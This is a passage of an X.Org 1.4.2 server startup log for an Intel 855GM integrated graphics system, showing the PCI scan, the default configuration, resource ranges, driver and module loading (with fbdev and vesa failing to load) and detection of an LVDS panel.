PCI: 00:1d:1: chip 8086,24c4 card 103c,3080 rev 03 class 0c,03,00 hdr 00 (II) PCI: 00:1d:2: chip 8086,24c7 card 103c,3080 rev 03 class 0c,03,00 hdr 00 (II) PCI: 00:1d:7: chip 8086,24cd card 103c,3080 rev 03 class 0c,03,20 hdr 00 (II) PCI: 00:1e:0: chip 8086,2448 card 0000,0000 rev 83 class 06,04,00 hdr 01 (II) PCI: 00:1f:0: chip 8086,24cc card 0000,0000 rev 03 class 06,01,00 hdr 80 (II) PCI: 00:1f:1: chip 8086,24ca card 103c,3080 rev 03 class 01,01,8a hdr 00 (II) PCI: 00:1f:3: chip 8086,24c3 card 103c,3080 rev 03 class 0c,05,00 hdr 00 (II) PCI: 00:1f:5: chip 8086,24c5 card 103c,3080 rev 03 class 04,01,00 hdr 00 (II) PCI: 00:1f:6: chip 8086,24c6 card 103c,3080 rev 03 class 07,03,00 hdr 00 (II) PCI: 02:00:0: chip 10ec,8139 card 103c,3080 rev 10 class 02,00,00 hdr 00 (II) PCI: 02:06:0: chip 8086,4220 card 103c,12f6 rev 05 class 02,80,00 hdr 00 (II) PCI: 02:09:0: chip 104c,8031 card fffc,ffff rev 00 class 06,07,00 hdr 82 (II) PCI: 02:09:2: chip 104c,8032 card 103c,3080 rev 00 class 0c,00,10 hdr 80 (II) PCI: 02:09:3: chip 104c,8033 card 103c,3080 rev 00 class 01,80,00 hdr 80 (II) PCI: 02:09:4: chip 104c,8034 card 103c,3080 rev 00 class 08,05,00 hdr 80 (II) PCI: End of PCI scan (II) Intel Bridge workaround enabled (II) Host-to-PCI bridge: (II) Bus 0: bridge is at (0:0:0), (0,0,3), BCTRL: 0x0008 (VGA_EN is set) (II) Bus 0 I/O range: [0] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) Bus 0 non-prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) Bus 0 prefetchable memory range: [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] (II) Subtractive PCI-to-PCI bridge: (II) Bus 2: bridge is at (0:30:0), (0,2,2), BCTRL: 0x0000 (VGA_EN is cleared) (II) Bus 2 I/O range: [0] -1 0 0x00003000 - 0x00003fff (0x1000) IX[B] (II) Bus 2 non-prefetchable memory range: [0] -1 0 0xe0200000 - 0xe02fffff (0x100000) MX[B] (II) PCI-to-ISA bridge: (II) Bus -1: bridge is at (0:31:0), (0,-1,-1), BCTRL: 0x0008 (VGA_EN is set) (II) PCI-to-CardBus bridge: (II) Bus 3: bridge is at (2:9:0), (2,3,4), BCTRL: 0x0740 (VGA_EN is cleared) (--) PCI:*(0:2:0) Intel Corporation 82852/855GM Integrated Graphics Device rev 2, Mem @ 0xe8000000/27, 0xe0000000/19, I/O @ 0x1800/3 (--) PCI: (0:2:1) Intel Corporation 82852/855GM Integrated Graphics Device rev 2, Mem @ 0xf0000000/27, 0xe0080000/19 New driver is "i810" (==) Using default built-in configuration (55 lines) (==) --- Start of built-in configuration --- Section "Module" Load "extmod" Load "dbe" Load "glx" Load "freetype" Load "type1" Load "record" Load "dri" EndSection Section "Monitor" Identifier "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default i810 Device 0" Driver "i810" EndSection Section "Screen" Identifier "Builtin Default i810 Screen 0" Device "Builtin Default i810 Device 0" Monitor "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default fbdev Device 0" Driver "fbdev" EndSection Section "Screen" Identifier "Builtin Default fbdev Screen 0" Device "Builtin Default fbdev Device 0" Monitor "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default vesa Device 0" Driver "vesa" EndSection Section "Screen" Identifier "Builtin Default vesa Screen 0" Device "Builtin Default vesa Device 0" Monitor "Builtin Default Monitor" EndSection Section "Device" Identifier "Builtin Default vga Device 0" Driver "vga" EndSection Section "Screen" Identifier "Builtin Default vga Screen 0" Device "Builtin Default vga Device 0" Monitor "Builtin Default Monitor" EndSection Section "ServerLayout" Identifier "Builtin Default Layout" Screen "Builtin Default i810 Screen 0" Screen "Builtin Default fbdev Screen 0" Screen "Builtin Default vesa Screen 0" Screen "Builtin Default vga Screen 0" EndSection (==) --- End of built-in configuration --- (==) ServerLayout "Builtin Default Layout" (**) |-->Screen "Builtin Default i810 Screen 0" (0) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default i810 Device 0" (**) |-->Screen "Builtin Default fbdev Screen 0" (1) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default fbdev Device 0" (**) |-->Screen "Builtin Default vesa Screen 0" (2) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default vesa Device 0" (**) |-->Screen "Builtin Default vga Screen 0" (3) (**) | |-->Monitor "Builtin Default Monitor" (**) | |-->Device "Builtin Default vga Device 0" (==) Automatically adding devices (==) Automatically enabling devices (==) No FontPath specified. Using compiled-in default. (==) FontPath set to: /usr/local/lib/X11/fonts/misc/, /usr/local/lib/X11/fonts/TTF/, /usr/local/lib/X11/fonts/OTF, /usr/local/lib/X11/fonts/Type1/, /usr/local/lib/X11/fonts/100dpi/, /usr/local/lib/X11/fonts/75dpi/ (==) RgbPath set to "/usr/local/share/X11/rgb" (==) ModulePath set to "/usr/local/lib/xorg/modules" (==) |-->Input Device "" (==) |-->Input Device "" (==) The core pointer device wasn't specified explicitly in the layout. Using the default mouse configuration. (==) The core keyboard device wasn't specified explicitly in the layout. Using the default keyboard configuration. (II) Addressable bus resource ranges are [0] -1 0 0x00000000 - 0xffffffff (0x0) MX[B] [1] -1 0 0x00000000 - 0x0000ffff (0x10000) IX[B] (II) OS-reported resource ranges: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [5] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) Active PCI resource ranges: [0] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [1] -1 0 0xe0208000 - 0xe020ffff (0x8000) MX[B]E [2] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [3] -1 0 0xe0204000 - 0xe0207fff (0x4000) MX[B]E [4] -1 0 0xe0200000 - 0xe03fffff (0x200000) MX[B]E [5] -1 0 0xe0207000 - 0xe0207fff (0x1000) MX[B]E [6] -1 0 0xe0206000 - 0xe0207fff (0x2000) MX[B]E [7] -1 0 0xe0207800 - 0xe0207fff (0x800) MX[B]E [8] -1 0 0xe0100800 - 0xe0100fff (0x800) MX[B]E [9] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [10] -1 0 0xe0100000 - 0xe01fffff (0x100000) MX[B]E [11] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [12] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [13] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [14] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [15] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [16] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [17] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [18] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [19] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [20] -1 0 0x00001880 - 0x000018ff (0x80) IX[B]E [21] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [22] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [23] -1 0 0x00001840 - 0x0000187f (0x40) IX[B]E [24] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [25] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (II) PCI Memory resource overlap reduced 0xe0208000 from 0xe020ffff to 0xe02083ff (II) PCI Memory resource overlap reduced 0xe0204000 from 0xe0207fff to 0xe0205fff (II) PCI Memory resource overlap reduced 0xe0200000 from 0xe03fffff to 0xe0203fff (II) PCI Memory resource overlap reduced 0xe0207000 from 0xe0207fff to 0xe02077ff (II) PCI Memory resource overlap reduced 0xe0206000 from 0xe0207fff to 0xe0206fff (II) PCI Memory resource overlap reduced 0xe0207800 from 0xe0207fff to 0xe0207bff (II) PCI Memory resource overlap reduced 0xe0100800 from 0xe0100fff to 0xe0100bff (II) PCI I/O resource overlap reduced 0x00001880 from 0x000018ff to 0x000018bf (II) PCI Memory resource overlap reduced 0xe0100000 from 0xe01fffff to 0xe01007ff (II) PCI I/O resource overlap reduced 0x00001840 from 0x0000187f to 0x0000185f (II) Active PCI resource ranges after removing overlaps: [0] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [1] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [2] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [3] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [4] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [5] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [6] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [7] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [8] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [9] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [10] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [11] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [12] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [13] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [14] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [15] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [16] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [17] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [18] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [19] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [20] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [21] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [22] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [23] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [24] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [25] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (II) OS-reported resource ranges after removing overlaps with PCI: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [5] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] (II) All system resource ranges: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [5] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [6] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [7] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [8] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [9] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [10] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [11] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [12] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [13] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [14] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [15] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [16] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [17] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [18] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [19] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [20] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [21] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [22] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [23] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [24] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [25] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [26] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [27] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [28] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [29] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [30] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [31] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (II) "extmod" will be loaded. This was enabled by default and also specified in the config file. (II) "dbe" will be loaded. This was enabled by default and also specified in the config file. (II) "glx" will be loaded. This was enabled by default and also specified in the config file. (II) "freetype" will be loaded. This was enabled by default and also specified in the config file. (II) "type1" will be loaded. This was enabled by default and also specified in the config file. (II) "record" will be loaded. This was enabled by default and also specified in the config file. (II) "dri" will be loaded. This was enabled by default and also specified in the config file. (II) LoadModule: "extmod" (II) Loading /usr/local/lib/xorg/modules/extensions//libextmod.so (II) Module extmod: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 0.3 (II) Loading extension SHAPE (II) Loading extension MIT-SUNDRY-NONSTANDARD (II) Loading extension BIG-REQUESTS (II) Loading extension SYNC (II) Loading extension MIT-SCREEN-SAVER (II) Loading extension XC-MISC (II) Loading extension XFree86-VidModeExtension (II) Loading extension XFree86-Misc (II) Loading extension XFree86-DGA (II) Loading extension DPMS (II) Loading extension TOG-CUP (II) Loading extension Extended-Visual-Information (II) Loading extension XVideo (II) Loading extension XVideo-MotionCompensation (II) Loading extension X-Resource (II) LoadModule: "dbe" (II) Loading /usr/local/lib/xorg/modules/extensions//libdbe.so (II) Module dbe: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 0.3 (II) Loading extension DOUBLE-BUFFER (II) LoadModule: "glx" (II) Loading /usr/local/lib/xorg/modules/extensions//libglx.so (II) Module glx: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Server Extension, version 0.3 (==) AIGLX disabled (II) Loading extension GLX (II) LoadModule: "freetype" (II) Loading /usr/local/lib/xorg/modules/fonts//libfreetype.so (II) Module freetype: vendor="X.Org Foundation & the After X-TT Project" compiled for 1.4.2, module version = 2.1.0 Module class: X.Org Font Renderer ABI class: X.Org Font Renderer, version 0.5 (II) Loading font FreeType (II) LoadModule: "type1" (II) Loading /usr/local/lib/xorg/modules/fonts//libtype1.so (II) Module type1: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.2 Module class: X.Org Font Renderer ABI class: X.Org Font Renderer, version 0.5 (II) Loading font Type1 (II) LoadModule: "record" (II) Loading /usr/local/lib/xorg/modules/extensions//librecord.so (II) Module record: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.13.0 Module class: X.Org Server Extension ABI class: X.Org Server Extension, version 0.3 (II) Loading extension RECORD (II) LoadModule: "dri" (II) Loading /usr/local/lib/xorg/modules/extensions//libdri.so (II) Module dri: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Server Extension, version 0.3 (II) Loading extension XFree86-DRI (II) LoadModule: "i810" (II) Loading /usr/local/lib/xorg/modules/drivers//i810_drv.so (II) Module i810: vendor="X.Org Foundation" compiled for 1.4.2, module version = 2.4.2 Module class: X.Org Video Driver ABI class: X.Org Video Driver, version 2.0 (II) LoadModule: "fbdev" (WW) Warning, couldn't open module fbdev (II) UnloadModule: "fbdev" (EE) Failed to load module "fbdev" (module does not exist, 0) (II) LoadModule: "vesa" (WW) Warning, couldn't open module vesa (II) UnloadModule: "vesa" (EE) Failed to load module "vesa" (module does not exist, 0) (II) LoadModule: "vga" (II) Loading /usr/local/lib/xorg/modules/drivers//vga_drv.so (II) Module vga: vendor="X.Org Foundation" compiled for 1.4.2, module version = 4.1.0 Module class: X.Org Video Driver ABI class: X.Org Video Driver, version 2.0 (II) LoadModule: "mouse" (II) Loading /usr/local/lib/xorg/modules/input//mouse_drv.so (II) Module mouse: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.2.3 Module class: X.Org XInput Driver ABI class: X.Org XInput driver, version 2.0 (II) LoadModule: "kbd" (II) Loading /usr/local/lib/xorg/modules/input//kbd_drv.so (II) Module kbd: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.2.2 Module class: X.Org XInput Driver ABI class: X.Org XInput driver, version 2.0 (II) intel: Driver for Intel Integrated Graphics Chipsets: i810, i810-dc100, i810e, i815, i830M, 845G, 852GM/855GM, 865G, 915G, E7221 (i915), 915GM, 945G, 945GM, 945GME, 965G, G35, 965Q, 946GZ, 965GM, 965GME/GLE, G33, Q35, Q33, Mobile Intel® GM45 Express Chipset, Intel Integrated Graphics Device, G45/G43, Q45/Q43 (II) VGA: Generic VGA driver (version 4.1) for chipsets: generic (II) Primary Device is: PCI 00:02:0 (--) Assigning device section with no busID to primary device (--) Chipset 852GM/855GM found (II) resource ranges after xf86ClaimFixedResources() call: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [5] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [6] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [7] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [8] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [9] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [10] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [11] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [12] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [13] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [14] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [15] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [16] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [17] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [18] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [19] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [20] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [21] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [22] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [23] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [24] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [25] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [26] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [27] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [28] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [29] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [30] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [31] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) (--) Assigning device section with no busID to primary device (--) Chipset generic found (II) resource ranges after probing: [0] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [1] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [2] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [3] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [4] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [5] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [6] -1 0 0xe0208400 - 0xe02087ff (0x400) MX[B]E [7] -1 0 0xe0204000 - 0xe0205fff (0x2000) MX[B]E [8] -1 0 0xe0200000 - 0xe0203fff (0x4000) MX[B]E [9] -1 0 0xe0207000 - 0xe02077ff (0x800) MX[B]E [10] -1 0 0xe0206000 - 0xe0206fff (0x1000) MX[B]E [11] -1 0 0xe0207800 - 0xe0207bff (0x400) MX[B]E [12] -1 0 0xe0100800 - 0xe0100bff (0x400) MX[B]E [13] -1 0 0xe0100c00 - 0xe0100fff (0x400) MX[B]E [14] -1 0 0xe0100000 - 0xe01007ff (0x800) MX[B]E [15] -1 0 0xe0080000 - 0xe00fffff (0x80000) MX[B](B) [16] -1 0 0xf0000000 - 0xf7ffffff (0x8000000) MX[B](B) [17] -1 0 0xe0000000 - 0xe007ffff (0x80000) MX[B](B) [18] -1 0 0xe8000000 - 0xefffffff (0x8000000) MX[B](B) [19] 1 0 0x000a0000 - 0x000affff (0x10000) MS[B] [20] 1 0 0x000b0000 - 0x000b7fff (0x8000) MS[B] [21] 1 0 0x000b8000 - 0x000bffff (0x8000) MS[B] [22] -1 0 0x0000ffff - 0x0000ffff (0x1) IX[B] [23] -1 0 0x00000000 - 0x000000ff (0x100) IX[B] [24] -1 0 0x00003000 - 0x000030ff (0x100) IX[B]E [25] -1 0 0x00002000 - 0x000020ff (0x100) IX[B]E [26] -1 0 0x00002400 - 0x000024ff (0x100) IX[B]E [27] -1 0 0x000018c0 - 0x000018ff (0x40) IX[B]E [28] -1 0 0x00001c00 - 0x00001cff (0x100) IX[B]E [29] -1 0 0x00001880 - 0x000018bf (0x40) IX[B]E [30] -1 0 0x00001810 - 0x0000181f (0x10) IX[B]E [31] -1 0 0x00001860 - 0x0000187f (0x20) IX[B]E [32] -1 0 0x00001840 - 0x0000185f (0x20) IX[B]E [33] -1 0 0x00001820 - 0x0000183f (0x20) IX[B]E [34] -1 0 0x00001800 - 0x00001807 (0x8) IX[B](B) [35] 1 0 0x000003b0 - 0x000003bb (0xc) IS[B] [36] 1 0 0x000003c0 - 0x000003df (0x20) IS[B] (II) Setting vga for screen 0. (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Loading /usr/local/lib/xorg/modules//libint10.so (II) Module int10: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) Loading sub module "vbe" (II) LoadModule: "vbe" (II) Loading /usr/local/lib/xorg/modules//libvbe.so (II) Module vbe: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.1.0 ABI class: X.Org Video Driver, version 2.0 (II) Loading sub module "vgahw" (II) LoadModule: "vgahw" (II) Loading /usr/local/lib/xorg/modules//libvgahw.so (II) Module vgahw: vendor="X.Org Foundation" compiled for 1.4.2, module version = 0.1.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): Creating default Display subsection in Screen section "Builtin Default i810 Screen 0" for depth/fbbpp 24/32 (==) intel(0): Depth 24, (==) framebuffer bpp 32 (==) intel(0): RGB weight 888 (==) intel(0): Default visual is TrueColor (II) intel(0): Integrated Graphics Chipset: Intel(R) 855GM (--) intel(0): Chipset: "852GM/855GM" (--) intel(0): Linear framebuffer at 0xE8000000 (--) intel(0): IO registers at addr 0xE0000000 (==) intel(0): Write-combining range (0xe0000000,0x80000) was already clear (II) intel(0): 2 display pipes available. (==) intel(0): Using EXA for acceleration (II) Loading sub module "int10" (II) LoadModule: "int10" (II) Reloading /usr/local/lib/xorg/modules//libint10.so (II) intel(0): initializing int10 (==) intel(0): Write-combining range (0xa0000,0x20000) was already clear (==) intel(0): Write-combining range (0xc0000,0x40000) was already clear (WW) intel(0): Bad V_BIOS checksum (II) intel(0): Primary V_BIOS segment is: 0xc000 (==) intel(0): Write-combining range (0x0,0x1000) was already clear (II) intel(0): VESA BIOS detected (II) intel(0): VESA VBE Version 3.0 (II) intel(0): VESA VBE Total Mem: 32576 kB (II) intel(0): VESA VBE OEM: Intel(r)852GM/852GME/855GM/855GME Graphics Chip Accelerated VGA BIOS (II) intel(0): VESA VBE OEM Software Rev: 1.0 (II) intel(0): VESA VBE OEM Vendor: Intel Corporation (II) intel(0): VESA VBE OEM Product: Intel(r)852GM/852GME/855GM/855GME Graphics Controller (II) intel(0): VESA VBE OEM Product Rev: Hardware Version 0.0 (==) intel(0): Write-combining range (0x0,0x1000) was already clear (II) Loading sub module "ddc" (II) LoadModule: "ddc"(II) Module "ddc" already built-in (II) Loading sub module "i2c" (II) LoadModule: "i2c"(II) Module "i2c" already built-in (II) intel(0): Output VGA using monitor section Builtin Default Monitor (II) intel(0): I2C bus "CRTDDC_A" initialized. (II) intel(0): Output LVDS has no monitor section (II) intel(0): I2C bus "LVDSDDC_C" initialized. (II) intel(0): Attempting to determine panel fixed mode. (II) intel(0): I2C device "LVDSDDC_C:ddc2" registered at address 0xA0. (II) intel(0): EDID vendor "AUO", prod id 4915 (II) intel(0): I2C bus "DVODDC_D" initialized. (II) Loading sub module "sil164" (II) LoadModule: "sil164" (II) Loading /usr/local/lib/xorg/modules/drivers//sil164.so (II) Module sil164: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" initialized. (II) Loading sub module "ch7xxx" (II) LoadModule: "ch7xxx" (II) Loading /usr/local/lib/xorg/modules/drivers//ch7xxx.so (II) Module ch7xxx: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVOI2C_E" initialized. (II) Loading sub module "ivch" (II) LoadModule: "ivch" (II) Loading /usr/local/lib/xorg/modules/drivers//ivch.so (II) Module ivch: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVOI2C_B" initialized. (II) Loading sub module "tfp410" (II) LoadModule: "tfp410" (II) Loading /usr/local/lib/xorg/modules/drivers//tfp410.so (II) Module tfp410: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_B" removed. (II) intel(0): I2C bus "DVOI2C_E" initialized. (II) Loading sub module "ch7017" (II) LoadModule: "ch7017" (II) Loading /usr/local/lib/xorg/modules/drivers//ch7017.so (II) Module ch7017: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org Video Driver, version 2.0 (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVOI2C_E" initialized. (EE) intel(0): ch701x not detected, got 29: from DVOI2C_E Slave 234. (II) intel(0): I2C bus "DVOI2C_E" removed. (II) intel(0): I2C bus "DVODDC_D" removed. (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) intel(0): I2C device "LVDSDDC_C:ddc2" removed. (II) intel(0): Output VGA disconnected (II) intel(0): Output LVDS connected (II) intel(0): Output LVDS using initial mode 1280x768 (==) intel(0): Write-combining range (0xa0000,0x10000) was already clear (II) intel(0): Monitoring connected displays enabled (II) intel(0): detected 128 kB GTT. (II) intel(0): detected 32636 kB stolen memory. (==) intel(0): video overlay key set to 0x101fe (==) intel(0): Will not try to enable page flipping (==) intel(0): Triple buffering disabled (==) intel(0): Intel XvMC decoder disabled (==) intel(0): Using gamma correction (1.0, 1.0, 1.0) (==) intel(0): DPI set to (96, 96) (II) Loading sub module "fb" (II) LoadModule: "fb" (II) Loading /usr/local/lib/xorg/modules//libfb.so (II) Module fb: vendor="X.Org Foundation" compiled for 1.4.2, module version = 1.0.0 ABI class: X.Org ANSI C Emulation, version 0.3 (II) Loading sub module "exa" (II) LoadModule: "exa" (II) Loading /usr/local/lib/xorg/modules//libexa.so (II) Module exa: vendor="X.Org Foundation" compiled for 1.4.2, module version = 2.2.0 ABI class: X.Org Video Driver, version 2.0 (II) Loading sub module "ramdac" (II) LoadModule: "ramdac"(II) Module "ramdac" already built-in (II) intel(0): Comparing regs from server start up to After PreInit (WW) intel(0): Register 0x61200 (PP_STATUS) changed from 0xc0000008 to 0xd0000009 (WW) intel(0): PP_STATUS before: on, ready, sequencing idle (WW) intel(0): PP_STATUS after: on, ready, sequencing on (II) UnloadModule: "vga" (II) Unloading /usr/local/lib/xorg/modules/drivers//vga_drv.so (==) Depth 24 pixmap format is 32 bpp (II) do I need RAC? No, I don't. (II) resource ranges after preInit: [0] 1 0 0xe0000000 - 0xe007ffff (0x80000) MS[B] [1] 1 0 0xe8000000 - 0xefffffff (0x8000000) MS[B] [2] -1 0 0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B) [3] -1 0 0x000f0000 - 0x000fffff (0x10000) MX[B] [4] -1 0 0x000c0000 - 0x000effff (0x30000) MX[B] [5] -1 0 0x00000000 - 0x0009ffff (0xa0000) MX[B] [6] -1 0 0xe0207c00 - 0xe0207fff (0x400) MX[B]E [7] -1 0 0xe0208000 - 0xe02083ff (0x400) MX[B]E [8] -1 0 